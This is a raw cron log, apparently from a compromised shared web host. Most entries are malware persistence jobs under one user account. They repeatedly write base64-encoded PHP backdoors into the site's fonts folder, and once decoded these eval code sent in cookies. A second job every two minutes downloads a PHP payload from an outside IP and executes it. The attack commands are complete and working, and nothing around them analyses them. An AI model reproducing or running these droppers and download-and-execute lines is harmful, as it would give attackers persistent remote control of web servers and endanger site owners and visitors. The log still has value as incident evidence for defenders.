Sep 10 09:11:01 ip-184-168-122-23 CROND[8509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:11:01 ip-184-168-122-23 CROND[8511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:12:01 ip-184-168-122-23 CROND[8709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:12:01 ip-184-168-122-23 CROND[8712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:12:01 ip-184-168-122-23 CROND[8713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:12:01 ip-184-168-122-23 CROND[8711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:12:01 ip-184-168-122-23 CROND[8714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:13:01 ip-184-168-122-23 CROND[8828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:13:01 ip-184-168-122-23 CROND[8832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:13:01 ip-184-168-122-23 CROND[8831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:13:01 ip-184-168-122-23 CROND[8830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:14:01 ip-184-168-122-23 CROND[8943]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:14:01 ip-184-168-122-23 CROND[8945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:14:01 ip-184-168-122-23 CROND[8948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:14:01 ip-184-168-122-23 CROND[8946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:14:01 ip-184-168-122-23 CROND[8947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:15:01 ip-184-168-122-23 CROND[9065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:15:01 ip-184-168-122-23 CROND[9067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:15:01 ip-184-168-122-23 CROND[9070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:15:01 ip-184-168-122-23 CROND[9069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:15:01 ip-184-168-122-23 CROND[9072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:15:01 ip-184-168-122-23 CROND[9073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:16:01 ip-184-168-122-23 CROND[9218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:16:01 ip-184-168-122-23 CROND[9221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:16:01 ip-184-168-122-23 CROND[9220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:16:01 ip-184-168-122-23 CROND[9223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:16:01 ip-184-168-122-23 CROND[9222]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:16:01 ip-184-168-122-23 CROND[9224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:17:01 ip-184-168-122-23 CROND[9360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:17:01 ip-184-168-122-23 CROND[9362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:17:01 ip-184-168-122-23 CROND[9361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:17:01 ip-184-168-122-23 CROND[9363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:18:01 ip-184-168-122-23 CROND[9556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:18:01 ip-184-168-122-23 CROND[9558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:18:01 ip-184-168-122-23 CROND[9559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:18:01 ip-184-168-122-23 CROND[9557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:18:01 ip-184-168-122-23 CROND[9560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:19:01 ip-184-168-122-23 CROND[9665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:19:01 ip-184-168-122-23 CROND[9666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:19:01 ip-184-168-122-23 CROND[9667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:19:01 ip-184-168-122-23 CROND[9669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:20:01 ip-184-168-122-23 CROND[9783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:20:01 ip-184-168-122-23 CROND[9786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:20:01 ip-184-168-122-23 CROND[9787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:20:01 ip-184-168-122-23 CROND[9788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:20:01 ip-184-168-122-23 CROND[9790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:20:01 ip-184-168-122-23 CROND[9791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:20:01 ip-184-168-122-23 CROND[9789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:20:01 ip-184-168-122-23 CROND[9797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:20:01 ip-184-168-122-23 CROND[9798]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:21:01 ip-184-168-122-23 CROND[9900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:21:01 ip-184-168-122-23 CROND[9903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:21:01 ip-184-168-122-23 CROND[9907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:21:01 ip-184-168-122-23 CROND[9908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:22:01 ip-184-168-122-23 CROND[10036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:22:01 ip-184-168-122-23 CROND[10038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:22:01 ip-184-168-122-23 CROND[10039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:22:01 ip-184-168-122-23 CROND[10041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:22:01 ip-184-168-122-23 CROND[10040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:23:01 ip-184-168-122-23 CROND[10192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:23:01 ip-184-168-122-23 CROND[10193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
